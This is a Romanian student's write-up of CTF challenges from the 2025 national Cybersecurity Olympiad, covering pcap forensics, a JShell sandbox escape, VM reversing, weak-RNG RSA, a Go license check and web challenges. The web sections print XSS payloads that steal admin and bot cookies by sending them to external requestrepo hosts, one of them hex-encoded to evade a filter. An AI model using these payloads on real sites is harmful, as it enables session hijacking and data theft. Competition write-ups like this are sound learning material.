Olimpiada de Securitate Cibernetică 2025, faza națională
Introducere
Recent am avut ocazia de a participa la faza națională a Olimpiadei de Securitate Cibernetică unde am reușit să obțin un rezultat bun datorită muncii depuse de-a lungul anului. Pentru mine această olimpiadă este dovada că perseverența și comunitatea sunt mai importante decât un premiu. De asemenea, am avut oportunitatea de a cunoaște alți elevi pasionați cu care încă țin legătura. Voi realiza această postare în limba română deoarece o consider relevantă pentru cititorii acestui articol destinat elevilor care doresc să participe pentru prima dată la această olimpiadă sau să obțină un rezultat mai bun și chiar să participe la alte competiții de tip CTF.
Anul acesta am observat creșterea dificultății ceea ce înseamnă creșterea performanței în cadrul olimpiadei. Challengeurile au fost foarte interesante și diverse, oferind șanse tuturor participanților indiferent de categoria lor preferată.
zodiac
Categorii: Misc, Forensics
Descriere
1
Trebuie sa gasesti locul unde se ascunde zodiac killer si sa-l aduci in fata justitiei. Am interceptat de pe "usb mouse" data de cand a folosit un internet cafe pentru a "vizualiza" urmatorul loc de munca.
Acest challenge presupune analiza unui fișier de tip pcap
și extragerea datelor relevante(payloaduri UDP
care conțin informații despre acționarea unui mouse usb).
Soluție
Observăm că avem ASCII-CSV mouse-logging trimis prin protocolul UDP. Fiecare payload este structurat astfel:
1
<timestampepoch>,<x>,<y>,<leftPressed>,<rightPressed>
Extragem toate payloadurile UDP din pcap folosind tshark:
1
2
3
4
tshark -r sample.pcap \
-Y "udp.port==9999" \
-T fields -e data \
| tr -d '\r' > payloads.hex
Apoi utilizăm acest script de python pentru a obține plotul mouseului:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import matplotlib.pyplot as plt
xs = []
ys = []
with open("payloads.hex") as f:
for line in f:
line = line.strip()
if not line:
continue
try:
raw = bytes.fromhex(line)
s = raw.decode("ascii")
except Exception:
continue
parts = s.split(",")
if len(parts) < 3:
continue
if parts[0].lower().startswith("timestamp"):
continue
try:
x = int(round(float(parts[1])))
y = int(round(float(parts[2])))
except ValueError:
continue
xs.append(x)
ys.append(y)
plt.figure(figsize=(6,6))
plt.plot(xs, ys, linewidth=2)
plt.axis("off")
plt.gca().invert_yaxis()
plt.tight_layout()
plt.show()
Flagul este:
ctf{secretplacewukong'sden}
executorul
Categorii: Misc
Descriere
1
Executorul nu merge de mai multe ori la apă.
Primim un fișier main.py
care rulează remote și execută cod Java folosind JShell.
Soluție
Dockerfileul ne spune că fișierul căutat se află în /tmp/flag.txt
, așa că folosim JShell să citim byte cu byte din acel fișier fără a folosi elemente din blacklist, \\
, try
și class
:
1
static{jdk.jshell.JShell js=jdk.jshell.JShell.builder().out(System.out).err(System.err).build();js.eval("for(byte b:java.nio.file.Files.readAllBytes(java.nio.file.Path.of(new String(new char[]{'/','t','m','p','/','f','l','a','g','.','t','x','t'}))))System.out.write(b);");}
Flag:
OSC{260bb074254fdcf2ab77a4b09339fbdb60c451161edaf46e6df60e0f342730cb}
virtual - Flag 1
Categorii: Reverse Engineering, Pwn
Descriere
1
2
3
4
5
6
Nimic nu este real. Nici macar acest bytecode.
Acest challenge are 2 parti:
- primul flag este gasit prin a face reverse la bytecode-ul dat (nu e nevoie de remote)
- al doilea flag este gasit prin a te conecta la instanta de remote si a da submit unui bytecode care va duce la un reverse shell
Primim:
- un ELF 64‑bit (
virtual
) care construiește şi rulează un mini‑VM; - un fişier byte‑code (
bytecode.bin
) care conţine logica de verificare a flag‑ului.
La execuţie programul face:
- copiază argumentul ‹flag› în
vm.memory[128 … 128+len]
, câte un caracter pe cuvânt (4 octeţi); - interpretează byte‑code‑ul;
- la sfârşit afişează
„Not this time…” dacă una dintre verificări eşuează respectiv „Congrats!” dacă toate trec.
În acest write-up voi vorbi doar despre rezolvarea primei părți a problemei.
Soluție
Anatomia VM‑ului
Secţiune | Mărime | Observaţii |
---|---|---|
Registre | 8 × 32‑bit | regs[0…7] |
Memorie | 256 cuvinte × 32‑bit | memory[0…255] |
Instrucţiuni | MOV , LDR , STR , ADD , SUB , MUL , RET |
Opcode‑uri 0 – 7 |
Şablonul de verificare (2 caractere)
1
2
3
4
5
6
7
8
LDR r0, 128+i ; x
LDR r1, 128+i+1 ; y
SUB r2, r0, r1 ; r2 = x − y trebuie să fie C0
MUL r3, r0, r1 ; r3 = x · y trebuie să fie C1
CMP r2, C0
JNE fail
CMP r3, C1
JNE fail
Rezultă 14 blocuri identice → flag-ul are
14 × 2 = 28
caractere.
Constante
În IDA căutăm perechi de MOV rX, imm32
care preced
compararea cu r2
şi r3
.
Obţinem lista («d, p»):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(-17, 5628) # 'C' (67) – 'T' (84)
(-53, 8610) # 'F' (70) – '{' (123)
( 69, 5782) # 'v' (118) – '1' (49)
( -2, 13224) # 'r' (114) – 't' (116)
( 65, 6084) # 'u' (117) – '4' (52)
( 13, 10260) # 'l' (108) – '_' (95)
( 57, 5668) # 'm' (109) – '4' (52)
( -5, 10296) # 'c' (99) – 'h' (104)
(-61, 5390) # '1' (49) – 'n' (110)
(-44, 4845) # '3' (51) – '_' (95)
( 57, 5668) # 'm' (109) – '4' (52)
( -1, 13340) # 's' (115) – 't' (116)
(-63, 5814) # '3' (51) – 'r' (114)
( -4, 15125) # 'y' (121) – '}' (125)
Model matematic
Pentru fiecare bloc avem două ecuaţii necunoscute x
şi y
(reprezentările ASCII ale celor două caractere testate):
unde d = C0
, p = C1
.
Discriminantul este
\[\Delta = d^{2} + 4p.\]Pentru a exista soluţii întregi ➜ Δ
trebuie să fie pătrat perfect.
Rădăcinile sunt
Filtrăm perechile (x,y)
care sunt printabile ASCII
( 32 ≤ x,y ≤ 126
).
Scriptul de extragere
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import math
# Perechile (d, p) extrase din bytecode:
blocks = [
(-17, 5628),
(-53, 8610),
( 69, 5782),
( -2, 13224),
( 65, 6084),
( 13, 10260),
( 57, 5668),
( -5, 10296),
(-61, 5390),
(-44, 4845),
( 57, 5668),
( -1, 13340),
(-63, 5814),
( -4, 15125),
]
flag_chars = []
for idx, (d, p) in enumerate(blocks):
# discriminant = d^2 + 4*p
Δ = d*d + 4*p
rΔ = math.isqrt(Δ)
if rΔ*rΔ != Δ:
raise ValueError(f"Blocul {idx}: discriminant Δ={Δ} nu e pătrat perfect")
# rădăcinile ecuației x^2 - d*x - p = 0
x1 = (d + rΔ) // 2
x2 = (d - rΔ) // 2
# verificăm fiecare soluție și o ținem pe cea printabilă
cand = []
for x in (x1, x2):
y = x - d
if 32 <= x <= 126 and 32 <= y <= 126:
cand = [x, y]
break
if not cand:
raise ValueError(f"Blocul {idx}: nu am găsit pereche printabilă (d={d}, p={p})")
flag_chars.extend(cand)
flag = ''.join(chr(c) for c in flag_chars)
print(flag)
Flagul final este:
CTF{v1rtu4l_m4ch1n3_m4st3ry}
friendly-notes
Categorii: Web
Descriere
1
Notele secrete sunt cele mai bune. Ele nici macar nu musca, dar s-ar putea sa plangi daca pierzi accesul catre acestea.
Primim codul sursă pentru un website în care un utilizator poate crea notițe și să le trimită unui admin(bot). Scopul este exfiltrarea cookieului adminului prin XSS
.
Soluție
Analizăm codul sursă și răspundem la întrebarea teoretică, bazându-ne pe următoarea secvență de cod relevantă:
1
2
3
const rawCreator = '{{ note.creator|e }}';
safeCreator = DOMPurify.sanitize(rawCreator); // DOMPurify is safe I promise
const rawContent = `{{ note.content|e }} \n\n${safeCreator}'s secret note.`;
Deci, dacă inchidem cu `
, putem executa cod javascript ceea ce înseamnă ca avem o vulnerabilitate de tip XSS
.
1
2
3
4
5
Q2. De ce este vulnerabilitatea `XSS` posibila? (Points: 25)
- pentru ca package-ul `bottle` gestioneaza datele trimise de utilizator incorect
- din cauza ca datele trimise de user nu sunt verificate
- datorita implementarii gresite a DOMpurify
- din cauza ca poti scapa din limitele template-ului
Raspunsul corect este: din cauza ca poti scapa din limitele template-ului.
Putem executa cod javascript, dar nu putem exfiltra direct cookieul. Pentru asta ne folosim de ruta /admin/test
(SSTI) pentru a evalua {{request.cookies.FLAG}}
cu argumentul test
, observată în această secvență de cod:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route("/admin/test")
@jwt_auth_middleware
def admin_test_template():
username = verify_jwt(request.get_cookie("jwt_token"))
if username != ADMIN_USERNAME:
return redirect(f"/")
testString = request.GET.get("test", "").strip()
try:
template = Template(testString)
rendered_output = template.render(username=username, request=request, csp_nonce=temp_csp_nonce)
except:
rendered_output = f"⚠️ Error"
return rendered_output
Payloadul final este:
1
`;fetch(`/admin/test?test={{request.cookies.FLAG}}`).then(function(r){return r.text()}).then(function(f){location=`https://0wltqmp9.requestrepo.com//?flag=${encodeURIComponent(f)}`});//
Interceptăm traficul în Burp și accesăm ruta /share/18ba8450b81d60db832466f61f575ebb
unde punem idul interceptat în Burp al notiței create. Primim request cu flagul pe requestrepo:
După ce rulăm exploitul pe remote, flagul este: CTF{wh0s_4_g00d_b0y?}
siege
Categorii: Cryptography
Descriere
1
Se spune că un artefact digital fusese ascuns în spatele a cinci sigilii numerice, fiecare creat de un zar antic — previzibil, dar periculos. Cine a reușit să întoarcă timpul și să ghicească aruncările, a descuiat comoara.
Primim un fișier main.py
și un output.txt
și trebuie să spargem sistemul criptografic nesigur. main.py
generează cinci numere prime de 256 biți folosind un RNG cu seed mic (3–7 biți) și criptează o cheie AES cu exponentul 65537. output.txt
conține N, C_key, IV-ul și ciphertext-ul flag-ului.
Soluție
Fiecare seed poate fi aflat rapid, pentru că spațiul de căutare este foarte mic (maxim $2^7 = 128$ valori). Pentru fiecare seed între 3 și 7 biți iterăm toate valorile posibile, generăm primul prim de 256 biți și verificăm dacă divide $N$. În acest fel factorizăm $N$ în cei cinci primi. Calculăm $\varphi(N)$ ținând cont de multiplicitățile primelor (dacă un prim apare $k$ ori, contribuția sa la $\varphi(N)$ este $p^{k-1}(p-1)$), apoi obținem
\[d = E^{-1} \bmod \varphi(N).\]Cheia AES se recuperează ca
\[C_{\text{key}}^d \bmod N\]și se folosește pentru a decripta flag-ul cu AES-CBC și unpad. Scriptul de decriptare este:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import math, random
from collections import Counter
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import isPrime, inverse, long_to_bytes
E = 0x10001
N_hex, C_hex, iv_hex, ct_hex = Path("output.txt").read_text().strip().split()
N = int(N_hex, 16)
C = int(C_hex, 16)
iv = bytes.fromhex(iv_hex)
ct = bytes.fromhex(ct_hex)
primes, rem = [], N
for i in range(3, 8):
for seed in range(1 << i):
rng = random.Random(seed)
while True:
p = rng._randbelow(1 << 256) | 1
if isPrime(p):
break
if rem % p == 0:
primes.append(p)
rem //= p
break
phi = 1
for p, k in Counter(primes).items():
phi *= (p - 1) * (p ** (k - 1))
d = inverse(E, phi)
aes_key = long_to_bytes(pow(C, d, N), 16)
flag = unpad(AES.new(aes_key, AES.MODE_CBC, iv).decrypt(ct), AES.block_size)
print(flag.decode())
Flag: OSC{5efca16a840359db72cae08a12d2784422f95d8afd12a64346e6ce4ea2431fb8}
groups
Categorii: Reverse Engineering
Descriere
1
Prietenul meu a creat o aplicatie cool, dar nu imi da o licenta valida pentru ea. Imi zice ca e cam devreme sa o impartaseasca cu lumea. Nu ma intereseaza, vreau sa o folosesc acum! Poti sa ma ajuti sa generez o licenta valida pentru ea?
În acest challenge avem un binar Go care implementează un mecanism de validare a unei “licenţe” compusă din patru grupuri de câte 4 litere (A–Z).
Soluție
Deschidem binarul în IDA, analizăm funcțiile principale și observăm ca programul:
- Încarcă două constante, $P$ și $G$, de tip big.Int
- Încarcă un tablou de patru constante publice
licConsts[i] = G^{y_i} mod P
- La validare, primește un șir de forma
XXXX-YYYY-ZZZZ-WWWW
, transformă fiecare grup de 4 litere într-un număr $0 \leq y_i \lt 26^4$, calculează $G^{y_i} \space mod \space P$ și compară culicConsts[i]
Scopul nostru este să extragem $P$, $G$ și cele patru licConsts[i]
direct din memorie cu GDB, apoi să rulăm un script de bruteforce care recuperează cele patru grupuri de litere.
Folosim go tool nm
pentru a afla unde sunt în .data
:
1
2
3
4
5
$ go tool nm ./groups | grep -E 'main\.P|main\.G|main\.licConsts'
bcce00 D main.P
bcce08 D main.G
bb92d0 D main.licConsts
735fe0 T main.main.Println.func1
Pornim GDB și setăm breakpoint la main:
1
2
3
4
$ gdb ./groups
(gdb) break main.main
Breakpoint 1 at 0x735fe0
(gdb) run
Aflăm adresa structului big.Int
pentru P(adresele de memorie vor apărea diferit dacă rulăm din nou GDB deoarece acestea se schimbă):
1
2
(gdb) print/x main.P
$1 = 0xc0001244c0
Încărcăm cei 32 B ai structului big.Int
:
1
2
3
(gdb) x/4gx 0xc0001244c0
0xc0001244c0: 0x0000000000000000 0x000000c000120250
0xc0001244d0: 0x0000000000000001 0x0000000000000001
- word1(
0x000000c000120250
) =abs.ptr
- word2(
1
) =abs.len
Extragem limb-ul pentru P:
1
2
(gdb) x/1gx 0xc000120250
0xc000120250: 0x7fffffffffffffbb
Astfel:
P = 0x7FFFFFFFFFFFFFBB
Repetăm pentru main.G
:
1
2
3
4
5
6
7
8
9
(gdb) print/x main.G
$2 = 0xc0001244e0
(gdb) x/4gx 0xc0001244e0
0xc0001244e0: 0x0000000000000000 0x000000c000120258
0xc0001244f0: 0x0000000000000001 0x0000000000000001
(gdb) x/1gx 0xc000120258
0xc000120258: 0x000000000000000a
Astfel:
G = 0x0A
Extragem cele patru constante licConsts
din slice:
1
2
3
(gdb) x/4gx &main.licConsts
0xbb92d0: 0x000000c000124500 0x0000000000000004
0xbb92e0: 0x0000000000000004 0x0000000000000000
Pointerii la cele patru big.Int
sunt:
1
0xc000124500, 0xc000124540, 0xc000124580, 0xc0001245c0
Pentru fiecare:
licConsts[0]:
1
2
3
4
5
6
(gdb) x/4gx 0xc000124500
0xc000124500: 0x0000000000000000 0x000000c000120260
0xc000124510: 0x0000000000000001 0x0000000000000001
(gdb) x/1gx 0xc000120260
0xc000120260: 0x5a1a8c87327f3717
Rezultat:
licConsts[0] = 0x5A1A8C87327F3717
licConsts[1]:
1
2
3
4
5
6
(gdb) x/4gx 0xc000124540
0xc000124540: 0x0000000000000000 0x000000c000120268
0xc000124550: 0x0000000000000001 0x0000000000000001
(gdb) x/1gx 0xc000120268
0xc000120268: 0x006c7da8027012d4
Rezultat:
licConsts[1] = 0x006C7DA8027012D4
licConsts[2]:
1
2
3
4
5
6
(gdb) x/4gx 0xc000124580
0xc000124580: 0x0000000000000000 0x000000c000120270
0xc000124590: 0x0000000000000001 0x0000000000000001
(gdb) x/1gx 0xc000120270
0xc000120270: 0x6eedbd750f7e72f5
Rezultat:
licConsts[2] = 0x6EEDBD750F7E72F5
licConsts[3]:
1
2
3
4
5
6
(gdb) x/4gx 0xc0001245c0
0xc0001245c0: 0x0000000000000000 0x000000c000120278
0xc0001245d0: 0x0000000000000001 0x0000000000000001
(gdb) x/1gx 0xc000120278
0xc000120278: 0x47ffcd9cc44c31ed
Rezultat:
licConsts[3] = 0x47FFCD9CC44C31ED
Avem acum:
1
2
3
4
5
6
7
8
P = 0x7FFFFFFFFFFFFFBB
G = 0x0A
licConsts = [
0x5A1A8C87327F3717,
0x006C7DA8027012D4,
0x6EEDBD750F7E72F5,
0x47FFCD9CC44C31ED,
]
Script Python pentru recuperarea grupurilor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from string import ascii_uppercase
P = int("7FFFFFFFFFFFFFBB", 16)
G = int("0A", 16)
C = [
int("5A1A8C87327F3717", 16),
int("006C7DA8027012D4", 16),
int("6EEDBD750F7E72F5", 16),
int("47FFCD9CC44C31ED", 16),
]
def y_to_group(y):
grp = []
for _ in range(4):
grp.append(ascii_uppercase[y % 26])
y //= 26
return "".join(reversed(grp))
for i, Ci in enumerate(C):
for y in range(26**4):
if pow(G, y, P) == Ci:
print(f"Group {i} =", y_to_group(y))
break
Rezultat:
1
2
3
4
Group 0 = LSOX
Group 1 = OEEB
Group 2 = WOYQ
Group 3 = TWKW
Licență completă:
LSOX-OEEB-WOYQ-TWKW
Deschidem serverul remote, introducem cheia și obținem flagul: CTF{2da92db2265b90fa037a625420a5717cb41a062942422120579c76c96166a834}
Răspunsurile la întrebările teoretice sunt: malloc(Q2), respectiv strcmp(Q3).
private-coms
Categorii: Network
Descriere
1
Există o comunicare scursă în acest fișier pcap. Găsește-o și obține flag-ul.
Primim un fișier private-coms.pcap
și scopul este să exfiltrăm comunicarea scursă (fișier audio-mp3).
Soluție
Analizăm pachetele descrescător după lungimea lor și observam acest pachet:
Dacă ne uităm la payload observăm un header de fișier mp3:
Înseamnă că la pachetul cu numărul 7394 începe un fișier .mp3 transferat prin USB, analizăm cronologic pachetele si observăm pachetele relevante care arată în felul următor:
Extragem pachetele relevante (7394, 7400, 7406, 7412, 7418, 7424) cu tshark într-un singur fișier mp3:
1
2
3
4
5
6
tshark -r private-coms.pcap \
-Y "frame.number == 7394 || frame.number == 7400 || frame.number == 7406 || frame.number == 7412 || frame.number == 7418 || frame.number == 7424" \
-T fields -e usb.capdata \
| tr -d ':' \
| xxd -r -p \
> coms.mp3
Ascultăm fișierul si obținem flagul: CTF{13ce08ba071d475d51694c2e60719a1fa8a7e13614e5fb98c43927f438dcb1b}
icseses
Categorii: Web
Descriere
1
Ce nume colorat! Încearcă și tu!
Ne este oferit codul sursă al unui website si scopul este sa exfiltrăm cookieul botului.
Soluție
Din păcate, nu am reușit să rezolv acest challenge în timpul competiției, dar l-am revăzut și mi-a fost de mare ajutor.
Metoda pe care am folosit-o nu a fost intenționată. Scopul este de a obține o vulnerabilitate de tip XSS prin randarea Mako Template(putem folosi ${}
) și de a raporta numele botului de unde vom exfiltra cookieul. Pentru a putea executa cod javascript va trebui sa evităm caracterele din vectorul banned:
1
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "import", "eval", "exec", "os", ";", ",", "|"]
Metoda care a funcționat este encodarea hex a caracterelor care sunt interpretate de Mako fără a fi detectate ca interzise. Payloadul final este:
1
http://34.89.195.167:30530/?name_input=${%27\x3C\x73\x63\x72\x69\x70\x74\x3E\x66\x65\x74\x63\x68\x28\x60\x68\x74\x74\x70\x3A\x2F\x2F\x38\x66\x79\x68\x37\x64\x70\x39\x2E\x72\x65\x71\x75\x65\x73\x74\x72\x65\x70\x6F\x2E\x63\x6F\x6D\x2F\x3F\x63\x3D\x24\x7B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x7D\x60\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E%27}
Decodat, se va executa următorul cod în javascript:
1
<script>fetch(`https://8fyh7dp9.requestrepo.com/?c=${document.cookie}`)</script>
Dacă verificăm requestrepo după raportarea numelui către admin, obținem flagul.
Concluzie
Participarea la faza națională a OSC m-a învățat că perseverența și colaborarea sunt esențiale în securitate cibernetică. Fiecare exercițiu m-a ajutat să îmi dezvolt abilitățile tehnice, iar schimbul de idei cu alți pasionați a fost cel mai valoros. Dacă vrei să te pregătești pentru competiții, exersează constant, documentează-ți munca și nu ezita să ceri ajutor. În final, mai important decât un premiu este progresul pe care îl faci și comunitatea pe care o construiești.